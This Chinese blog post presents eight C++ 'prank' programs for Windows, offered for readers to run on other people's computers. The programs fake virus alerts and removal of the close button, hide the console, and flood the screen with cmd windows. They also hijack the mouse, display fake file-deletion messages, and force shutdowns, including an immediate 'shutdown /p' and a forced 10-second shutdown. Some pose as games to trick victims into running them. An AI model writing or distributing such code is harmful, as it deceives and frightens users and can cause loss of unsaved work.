当前位置:   article > 正文

c++整人_c++整人代码

c++整人代码

本篇博客,小编会为大家带来我写的或搜集到的7个整人代码,不喜勿喷!!!!

  1. 文章目录:
  2. 整人代码1
  3. 整人代码2
  4. 整人代码3
  5. 整人代码4
  6. 整人代码5
  7. 整人代码6
  8. 整人代码7

做好心理准备吧!别被整哭了!!!!!!!!!!!!

  1. #include<iostream>
  2. #include<cstdio>
  3. #include<bits/stdc++.h>
  4. #include<windows.h>
  5. #include<algorithm>
  6. using namespace std;
  7. int main(){
  8. int a,b;
  9. DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND);
  10. DrawMenuBar(GetConsoleWindow());
  11. MessageBox(NULL,"警报!警报!","Warning!Warning!",MB_OK);
  12. MessageBox(NULL,"防火墙已检测到病毒!","Warning!Warning!",MB_OK);
  13. MessageBox(NULL,"防火墙正在尝试阻拦!","Warning!Warning!",MB_OK);
  14. MessageBox(NULL,"阻拦无效!","Warning!Warning!",MB_OK);
  15. MessageBox(NULL,"病毒将在5秒后发作!","Warning!Warning!",MB_OK);
  16. Sleep(5000);
  17. MessageBox(NULL,"恶意病毒开始发作!","Warning!Warning!",MB_OK);
  18. MessageBox(NULL,"所有防护系统都已屏蔽!","Warning!Warning!",MB_OK);
  19. for(int i=1;i<=100;i++){
  20. //TODO
  21. MessageBox(NULL,"请保护好您的个人信息,以免泄露!","Warning!Warning!",MB_OK);
  22. }
  23. cout<<"\a";
  24. system("cls");
  25. cout<<"请输入您的幸运数字吧"<<endl;
  26. Sleep(2000);
  27. cout<<"我能告诉你,你将来会发生什么事情!"<<endl;
  28. int bf=0;
  29. cin>>a;
  30. if(a>=0){
  31. cout<<"AI:很遗憾地告诉你,你的电脑将会发生关机"<<endl;
  32. Sleep(2000);
  33. cout<<"AI:在10秒内请将需要保存的东西全都保存好哦q(≧▽≦q)"<<endl;
  34. Sleep(1000);
  35. system("shutdown -f -s -t 10");
  36. }
  37. else{
  38. cout<<"这真的是你的幸运数字吗?"<<""<<"我最讨厌别人骗我了!为此,你要付出代价"<<endl;
  39. Sleep(2000);
  40. cout<<"人工AI预测:有病毒攻击了你的电脑,你的电脑将会发生关机哦!"<<endl;
  41. system("shutdown -f -s -t 120");
  42. Sleep(5000);
  43. cout<<"你TM不会真信了吧?哈哈哈哈。"<<endl;
  44. Sleep(2000);
  45. cout<<"我才不会关你的电脑呢,况且我也不知道怎么关,哈哈哈"<<endl;
  46. Sleep(2000);
  47. cout<<"你骗我,我骗你,咱们扯平了!不过......"<<endl;
  48. Sleep(2000);
  49. cout<<"我还有最后一个杀手锏,作为你的惩罚!"<<endl;
  50. system("shutdown -a");
  51. Sleep(2000);
  52. cout<<"请再次输入你的幸运数字"<<endl;
  53. cin>>b;
  54. cout<<"加载中";
  55. for(int i=0;i<=2;i++){
  56. Sleep(1000);
  57. cout<<".";
  58. }
  59. for(int i=0;i<=10;i++){
  60. system("start cmd");
  61. }
  62. system("pause");
  63. cout<<"\n关完了吗?";
  64. cout<<"\n哈哈哈!";
  65. Sleep(1000);
  66. cout<<"\n你以为这样就结束了吗?";
  67. Sleep(1000);
  68. cout<<"\n不可能!";
  69. Sleep(1000);
  70. cout<<"\n这次:我下定决心关你的电脑!";
  71. Sleep(1000);
  72. system("shutdown -s -t 120");
  73. Sleep(5000);
  74. system("shutdown -a");
  75. cout<<"\n你个憨逼真信了!";
  76. Sleep(1000);
  77. cout<<"\n憨逼!";
  78. Sleep(1000);
  79. cout<<"\n我大人有大量,就放过你了!";
  80. Sleep(1000);
  81. cout<<"\n不过,想要金盆洗手一走了之,是不可能的!";
  82. Sleep(1000);
  83. cout<<"\n必须收到一点惊喜!";
  84. Sleep(1000);
  85. for(int i=1;i<=5;i++){
  86. system("start cmd");
  87. }
  88. Sleep(1000);
  89. for(int i=1;i<=10;i++){
  90. for(int i=1;i<=2;i++){
  91. system("start cmd");
  92. }
  93. Sleep(1000);
  94. }
  95. system("pause");
  96. cout<<"\n"<<"关完了吗?";
  97. Sleep(1000);
  98. cout<<"\n好玩吧!";
  99. Sleep(1000);
  100. cout<<"\n别急还有呢!";
  101. for(int i=1;i<=5;i++){
  102. system("start cmd");
  103. }
  104. Sleep(1000);
  105. for(int i=1;i<=10;i++){
  106. for(int i=1;i<=2;i++){
  107. system("start cmd");
  108. }
  109. Sleep(1000);
  110. }
  111. system("pause");
  112. cout<<"\ncmd大放送结束!";
  113. Sleep(1000);
  114. cout<<"\n接下来,我要给你安装病毒驱动!";
  115. Sleep(2000);
  116. system("cls");
  117. for(int i=1;i<=100;i++){
  118. bf=bf+1;
  119. cout<<bf<<"%"<<"已安装\n";
  120. Sleep(2);
  121. system("cls");
  122. }
  123. Sleep(1000);
  124. cout<<"安装完毕\n";
  125. Sleep(1000);
  126. cout<<"C盘所有文件名已改为'soososoososos'";
  127. Sleep(6000);
  128. cout<<"\n怎么可能,我那么好心,肯定不会改你c盘名的!";
  129. Sleep(1000);
  130. cout<<"\n不过,哥们!给我按500次回车吧!";
  131. int ai=500;
  132. while(ai--){
  133. system("start 你是傻逼!");
  134. }
  135. Sleep(3000);
  136. cout<<"\n再见,欢迎下次游玩!";
  137. }
  138. return 0;
  139. }

————————————分割线(后面懒得画了)————————————————————

  1. #include<iostream>
  2. #include<cstdio>
  3. #include<cmath>
  4. #include<algorithm>
  5. #include<string>
  6. #include<cstring>
  7. #include<sstream>
  8. #include<bits/stdc++.h>
  9. #include<windows.h>
  10. using namespace std;
  11. int main(){
  12. DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND);
  13. DrawMenuBar(GetConsoleWindow());
  14. cout<<"欢迎您来到作死啵啵间!";
  15. Sleep(1000);
  16. system("pause");
  17. system("cls");
  18. cout<<"\n";
  19. cout<<"今天介绍的第一种作死方法是:让人难受的鼠标乱飞!";
  20. Sleep(1000);
  21. system("cls");
  22. cout<<"准备好了吗?";
  23. cout<<"\n";
  24. Sleep(1000);
  25. cout<<"\n";
  26. cout<<"3";
  27. Sleep(1000);
  28. system("cls");
  29. cout<<"2";
  30. Sleep(1000);
  31. system("cls");
  32. cout<<"1";
  33. Sleep(1000);
  34. system("cls");
  35. cout<<"Go!";
  36. Sleep(1000);
  37. system("cls");
  38. int i=6000000;
  39. int x,y;
  40. while(1){
  41. x=rand()%103+300;
  42. y=rand()%227+300;
  43. i--;
  44. if(i==0){
  45. return 0;
  46. }
  47. SetCursorPos(x,y);
  48. }
  49. system("cls");
  50. cout<<"是不是很爽!";
  51. Sleep(1000);
  52. system("cls");
  53. cout<<"接下来要介绍的叫做:";
  54. Sleep(1000);
  55. cout<<"关";
  56. Sleep(1000);
  57. cout<<"机";
  58. Sleep(1000);
  59. cout<<"惊";
  60. Sleep(1000);
  61. cout<<"魂!";
  62. Sleep(1000);
  63. system("cls");
  64. for(int i=1;i<=100;i++){
  65. //TODO
  66. system("shutdown -s -t 5");
  67. Sleep(1000);
  68. system("shutdown -a");
  69. }
  70. system("shutdown -a");
  71. return 0;
  72. }
  1. #include<iostream>
  2. #include<cstdio>
  3. #include<cmath>
  4. #include<algorithm>
  5. #include<string>
  6. #include<cstring>
  7. #include<sstream>
  8. #include<bits/stdc++.h>
  9. #include<windows.h>
  10. using namespace std;
  11. int main(){
  12. system("title 一个好玩的小游戏");
  13. DeleteMenu(GetSystemMenu(GetConsoleWindow(),FALSE),SC_CLOSE,MF_BYCOMMAND);
  14. DrawMenuBar(GetConsoleWindow());
  15. MessageBox(NULL,"您的电脑将在五分钟后关机","请本台电脑的用户注意",MB_OK);
  16. system("cls");
  17. system("shutdown -s -t 300");
  18. while(MessageBox(NULL,"请回答您是不是猪^(* ̄(oo) ̄)^","hahaha",MB_YESNO)==7) {
  19. MessageBox(NULL,"你没有按'是',再来一遍","不按'是'你试试",MB_OK);
  20. }
  21. string s="嗯!好可爱的猪猪^(* ̄(oo) ̄)^";
  22. for(int i=0;i<=s.size()-1;i++){
  23. //TODO
  24. cout<<s[i];
  25. Sleep(100);
  26. }
  27. Sleep(1000);
  28. system("cls");
  29. system("shutdown -a");
  30. MessageBox(NULL,"您的电脑将不在关机","可爱的猪猪^(* ̄(oo) ̄)^:",MB_OK);
  31. //
  32. while(MessageBox(NULL,"猪猪有什么送我的礼物吗?","hahaha",MB_YESNO)==7) {
  33. s="可恶!在绝交前!给我点一百次确定吧!";
  34. for(int i=0;i<=s.size()-1;i++){
  35. //TODO
  36. cout<<s[i];
  37. Sleep(100);
  38. }
  39. Sleep(1000);
  40. for(int i=1;i<=100;i++)
  41. MessageBox(NULL,"很傻逼的猪猪^(* ̄(oo) ̄)^!","我是一只:",MB_OK);
  42. system("cls");
  43. }
  44. s="猪猪^(* ̄(oo) ̄)^,你太棒了!";
  45. for(int i=0;i<=s.size()-1;i++){
  46. //TODO
  47. cout<<s[i];
  48. Sleep(100);
  49. }
  50. Sleep(1000);
  51. system("cls");
  52. s="我要送你一个礼物!";
  53. for(int i=0;i<=s.size()-1;i++){
  54. //TODO
  55. cout<<s[i];
  56. Sleep(100);
  57. }
  58. Sleep(1000);
  59. system("cls");
  60. s="那就是————";
  61. for(int i=0;i<=s.size()-1;i++){
  62. //TODO
  63. cout<<s[i];
  64. Sleep(100);
  65. }
  66. Sleep(1000);
  67. system("cls");
  68. s="30个cmd";
  69. for(int i=0;i<=s.size()-1;i++){
  70. //TODO
  71. cout<<s[i];
  72. Sleep(100);
  73. }
  74. Sleep(1000);
  75. system("cls");
  76. for(int i=1;i<=30;i++){
  77. //TODO
  78. system("start");
  79. }
  80. cout<<"\n";
  81. system("pause");
  82. s="外赠送————";
  83. for(int i=0;i<=s.size()-1;i++){
  84. //TODO
  85. cout<<s[i];
  86. Sleep(100);
  87. }
  88. Sleep(1000);
  89. system("cls");
  90. s="删除c盘所有东西!";
  91. for(int i=0;i<=s.size()-1;i++){
  92. //TODO
  93. cout<<s[i];
  94. Sleep(100);
  95. }
  96. Sleep(1000);
  97. system("cls");
  98. for(int i=144294;i<=144351;i++){
  99. //TODO
  100. cout<<"正在删除C:/Users/lenovo/"<<i<<endl;
  101. Sleep(1000);
  102. }
  103. Sleep(1000);
  104. system("cls");
  105. s="再见,请按任意键退出!";
  106. for(int i=0;i<=s.size()-1;i++){
  107. //TODO
  108. cout<<s[i];
  109. Sleep(100);
  110. }
  111. Sleep(1000);
  112. system("cls");
  113. s="猪猪不会真信了吧!";
  114. for(int i=0;i<=s.size()-1;i++){
  115. //TODO
  116. cout<<s[i];
  117. Sleep(100);
  118. }
  119. Sleep(1000);
  120. system("cls");
  121. MessageBox(NULL,"惊喜即将到来!","请本台电脑的用户注意",MB_OK);
  122. Sleep(3000);
  123. for(int i=0;i<=10000;i++){
  124. //TODO
  125. cout<<"我是个SB";
  126. }
  127. for(int i=0;i<=10000;i++)
  128. system("color 21&&color 32&&color 43&&color 54&&color 65&&color 76&&color 87&&color 98&&color 19");
  129. MessageBox(NULL,"再见了,猪猪!","",MB_OK);
  130. return 0;
  131. }
  1. #include<windows.h>
  2. #include<fstream>
  3. #include <iostream>
  4. using namespace std;
  5. int main()
  6. {
  7. cout<<"打开这个文件所在的路径(文件夹或盘)";
  8. ofstream outfile("来自病毒的信.txt",ios::out);
  9. if (!outfile)
  10. {
  11. cerr<<"open error"<<endl;
  12. return 0;
  13. }
  14. outfile<<"运行该程序的人:"<<endl<<endl<<" 你好,你被我们盯上了。你准备好被咔嚓了吗???"<<endl<<endl<<" ——病毒";
  15. outfile.close();
  16. return 0;
  17. }
  1. #include<iostream>
  2. #include<cstdio>
  3. #include<cmath>
  4. #include<algorithm>
  5. #include<string>
  6. #include<cstring>
  7. #include<sstream>
  8. #include<bits/stdc++.h>
  9. #include<windows.h>
  10. #include<iostream>
  11. #include<stdio.h>
  12. #include<stdlib.h>
  13. #include<windows.h>
  14. #include<conio.h>
  15. #include<time.h>
  16. #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
  17. using namespace std;
  18. void pause(){
  19. system("pause&&cls");
  20. }
  21. void fcdsb(){
  22. int x,y;//用来设置鼠标的位置
  23. int cnt=0;
  24. while(!_kbhit()&&cnt!=21000000)
  25. {
  26. x=rand()%360+300;
  27. y=rand()%300+300;
  28. SetCursorPos(x,y);
  29. cnt++;
  30. }
  31. }
  32. void ajdsb(){
  33. int cnt=0;
  34. while(cnt!=21000000){
  35. SetCursorPos(613,318);//5和9的数值可以随便调!
  36. cnt++;
  37. }
  38. }
  39. int main(){
  40. system("color f2&&title 小游戏");
  41. cout<<"欢迎游玩可以令人崩溃的游戏,易怒者请远离!\n";
  42. pause();
  43. cout<<"干他!\n";
  44. pause();
  45. cout<<"开始游戏!\n";
  46. pause();
  47. cout<<"先送你见面礼!\n";
  48. pause();
  49. for(int i=1;i<=50;i++) system("start");
  50. DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND);
  51. DrawMenuBar(GetConsoleWindow());
  52. pause();
  53. cout<<"想关掉这个程序吗?";
  54. pause();
  55. cout<<"也行,按下面的流程来!";
  56. pause();
  57. cout<<"先给你看看计划表!";
  58. pause();
  59. cout<<"1.疯狂的鼠标";
  60. pause();
  61. cout<<"2.安静的鼠标";
  62. pause();
  63. cout<<"3.承认你是猪";
  64. pause();
  65. cout<<"4.送你回老家(关机)";
  66. pause();
  67. cout<<"第一个,疯狂的鼠标";
  68. pause();
  69. fcdsb();
  70. pause();
  71. cout<<"2.安静的鼠标(让鼠标休息一下)";
  72. ajdsb();
  73. pause();
  74. cout<<"3.猪猪来喽!";
  75. pause();
  76. while(MessageBox(NULL,"请回答您是不是猪^(* ̄(oo) ̄)^","喽喽喽",MB_YESNO)==7) {
  77. MessageBox(NULL,"你没有按'是',再来一遍","不按'是'你试试",MB_OK);
  78. }
  79. pause();
  80. cout<<"4.早点关机,洗洗睡了!";
  81. pause();
  82. system("shutdown /p");
  83. return 0;
  84. }
  1. #include<bits/stdc++.h>
  2. #include<windows.h>
  3. using namespace std;
  4. void cls(){
  5. system("CLS");
  6. }
  7. int main(){
  8. cout<<"欢迎游玩迷你世界小游戏!!!";
  9. Sleep(2000);
  10. system("CLS");
  11. cout<<"你要相信作者!!!本游戏无关机代码!!!";
  12. Sleep(2000);
  13. system("CLS");
  14. cout<<"开局赠送迷你币20130903枚!!!(别问为什么!!!)";
  15. Sleep(2000);
  16. system("CLS");
  17. cout<<"_________________________\n";
  18. cout<<"| |\n";
  19. cout<<"| 迷你玩 |\n";
  20. cout<<"|_______________________|";
  21. Sleep(2000);
  22. system("CLS");
  23. cout<<"请输入验证码:";
  24. MessageBox(NULL,"迷你世界官方:关闭该窗口可看到验证码!","迷你世界",MB_OK);
  25. srand(time(0));
  26. int yzm=rand()%9648+1538;
  27. system("CLS");
  28. cout<<"验证码为:"<<yzm;
  29. cout<<"\n请输入验证码:";
  30. int yzmm;
  31. cin>>yzmm;
  32. if(yzmm!=yzm){
  33. system("CLS");
  34. cout<<"错误!!!";
  35. return 0;
  36. }
  37. system("CLS");
  38. cout<<"迷你世界";
  39. Sleep(2000);
  40. system("CLS");
  41. for(int i=1;i<=30;i++){
  42. cout<<"加载世界模块中("<<i<<"/100)";
  43. Sleep(10);
  44. system("CLS");
  45. }
  46. for(int i=30;i<=70;i++){
  47. cout<<"加载人物模型中("<<i<<"/100)";
  48. Sleep(10);
  49. system("CLS");
  50. }
  51. for(int i=70;i<=100;i++){
  52. cout<<"进入游戏中("<<i<<"/100)";
  53. Sleep(10);
  54. system("CLS");
  55. }
  56. Sleep(2000);
  57. system("CLS");
  58. cout<<"创建名称:";
  59. string name;
  60. cin>>name;
  61. cls();
  62. cout<<"欢迎玩家:"<<name;
  63. Sleep(2000);
  64. cls();
  65. long long mnh=rand()%91034919402+26491894103;
  66. long long mnb=20130903;
  67. start:
  68. cout<<name<<" 迷你号"<<mnh<<" 迷你币"<<mnb;
  69. cout<<"\n1.开始游戏";
  70. cout<<"\n2.联机大厅";
  71. cout<<"\n3.好友";
  72. cout<<"\n4.我的家园";
  73. cout<<"\n输入:";
  74. int du;
  75. cin>>du;
  76. if(du==3){
  77. cls();
  78. cout<<"好友列表:\n1.迷你队长";
  79. Sleep(1000);
  80. cls();
  81. goto start;
  82. }
  83. else{
  84. cls();
  85. cout<<"哈哈哈!你被骗了,电脑要关机了!!!";
  86. system("shutdown -s -t 500");
  87. Sleep(5000);
  88. cls();
  89. cout<<"等等!问你个问题:答对就放过你,迷你世界好玩还是MC好玩?";
  90. cout<<"\nA.迷你 B.MC";
  91. char a;
  92. cin>>a;
  93. if(a=='A'){
  94. cls();
  95. cout<<"正中作者心扉!放过你吧!!!";
  96. system("shutdown -a");
  97. }
  98. else{
  99. cls();
  100. cout<<"你你你你你你你您你你你你你你你你你你!";
  101. cout<<"\n等着关机吧!!!!";
  102. }
  103. }
  104. return 0;
  105. }
  1. #include<iostream>
  2. #include<cstdio>
  3. #include<cmath>
  4. #include<algorithm>
  5. #include<string>
  6. #include<cstring>
  7. #include<windows.h>
  8. #include<sstream>
  9. #include<bits/stdc++.h>
  10. using namespace std;
  11. void cls(){
  12. system("cls");
  13. }
  14. int main(){
  15. cout<<"欢迎游玩蛋仔派对!!!";
  16. Sleep(1000);
  17. cls();
  18. cout<<"再相信作者一次吧!";
  19. cout<<"\n 本游戏不坑!!!";
  20. Sleep(1000);
  21. cls();
  22. cout<<"蛋仔电音节";
  23. cout<<endl;
  24. cout<<"游戏配置加载中▁";
  25. Sleep(1000);
  26. cout<<"▂";
  27. Sleep(1000);
  28. cout<<"▃";
  29. Sleep(1000);
  30. cout<<"▅";
  31. Sleep(1000);
  32. cls();
  33. cout<<"加载完毕!!!";
  34. Sleep(1000);
  35. cls();
  36. cout<<"不好中毒了!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";
  37. system("shutdown -s -t 700");
  38. return 0;
  39. }

买七送一,在附赠一个

  1. #include<iostream>
  2. #include<cstdio>
  3. #include<cmath>
  4. #include<algorithm>
  5. #include<string>
  6. #include<cstring>
  7. #include<sstream>
  8. #include<bits/stdc++.h>
  9. #include<windows.h>
  10. using namespace std;
  11. int main(){
  12. int l;
  13. system("Color 5A" );
  14. DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND);
  15. DrawMenuBar(GetConsoleWindow());
  16. cout<<"来自病毒的一封信:\n";
  17. Sleep(1000);
  18. cout<<"提示:按病毒说的做就没事!";
  19. Sleep(1000);
  20. cout<<"\n病毒:输入10000次随机字符!\n";
  21. Sleep(1000);
  22. int i=10000,k=50;
  23. char a;
  24. while(i){
  25. cin.get(a);
  26. i--;
  27. }
  28. cout<<"病毒:卡爆你的内存!\n";
  29. while(k){
  30. system("start cmd");
  31. k--;
  32. }
  33. cout<<"病毒:最后一关,你是不是^(* ̄(oo) ̄)^猪猪,1表示是,2表示不是";
  34. cin>>l;
  35. if(l==1){
  36. cout<<"病毒:这次就放过你了,后会有期!";
  37. Sleep(1000);
  38. cout<<"\n我:为什么弹窗关不掉!";
  39. Sleep(1000);
  40. cout<<"\n病毒:你自己看着办吧!";
  41. Sleep(1000);
  42. cout<<"\n我:......";
  43. Sleep(1000);
  44. int j=0;
  45. while(1){
  46. j++;
  47. Sleep(3);
  48. if(j==1000){
  49. cout<<"\n提示:任务管理器!";
  50. }
  51. }
  52. }
  53. else{
  54. cout<<"病毒:看来得给你点教训";
  55. system("shutdown -s -t 5");
  56. }
  57. return 0;
  58. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/456286
推荐阅读
相关标签
  

闽ICP备14008679号